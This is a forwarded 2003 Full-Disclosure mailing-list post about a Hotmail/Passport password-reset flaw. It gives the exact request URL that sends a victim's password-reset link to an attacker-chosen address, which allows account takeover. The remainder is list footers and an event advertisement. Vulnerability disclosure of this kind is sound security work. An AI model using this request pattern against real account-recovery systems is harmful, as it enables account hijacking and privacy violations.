I am forwarding this as it may impact people whom depend on MSN or passport systems for business reasons. Contrary to what at least one of the full-disclosure follow-ups reports, it does work. D ---------- Forwarded message ---------- Date: Wed, 7 May 2003 19:50:51 -0700 (PDT) From: Muhammad Faisal Rauf Danka <mfrdat_private> To: full-disclosureat_private Subject: [Full-Disclosure] Hotmail & Passport (.NET Accounts) Vulnerability Hotmail & Passport (.NET Accounts) Vulnerability There is a very serious and stupid vulnerability or badcoding in Hotmail / Passport’s (.NET Accounts) I tried sending emails several times to Hotmail / Passport contact addresses, but always met with the NLP bots. I guess I don’t need to go in details of how cruical and important Hotmail / Passport’s .NET Account passport is to anyone. You name it and they have it, E-Commerce, Credit Card processing, Personal Emails, Privacy Issues, Corporate Espionage, maybe stalkers and what not. It is so simple that it is funny. All you got to do is hit the following in your browser: victimat_private&id=&cb=&prefem=attackerat_private&rst=1">https://register.passport.net/emailpwdreset.srf?lc=1033&em=victimat_private&id=&cb=&prefem=attackerat_private&rst=1 And you’ll get an email on attackerat_private asking you to click on a url something like this: http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0&lc=1033 >From that url, you can reset the password and I don’t think I need to say anything more about it. Vulnerability / Flaw discovered : 12th April 2003 Vendor / Owner notified : Yes (as far as emailing them more than 10 times is concerned) Regards -------- Muhammad Faisal Rauf Danka _____________________________________________________________ --------------------------- [ATTITUDEX.COM] http://www.attitudex.com/ --------------------------- _____________________________________________________________ Select your own custom email address for FREE! Get youat_private w/No Ads, 6MB, POP & more! http://www.everyone.net/selectmail?campaign=tag _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ---------------------------------------------------------------------------- Attend Black Hat Briefings & Training Europe, May 12-15 in Amsterdam, the world's premier event for IT and network security experts. The two-day Training features 6 hand-on courses on May 12-13 taught by professionals. The two-day Briefings on May 14-15 features 24 top speakers with no vendor sales pitches. Deadline for the best rates is April 25. Register today to ensure your place. http://www.securityfocus.com/BlackHat-incidents ----------------------------------------------------------------------------
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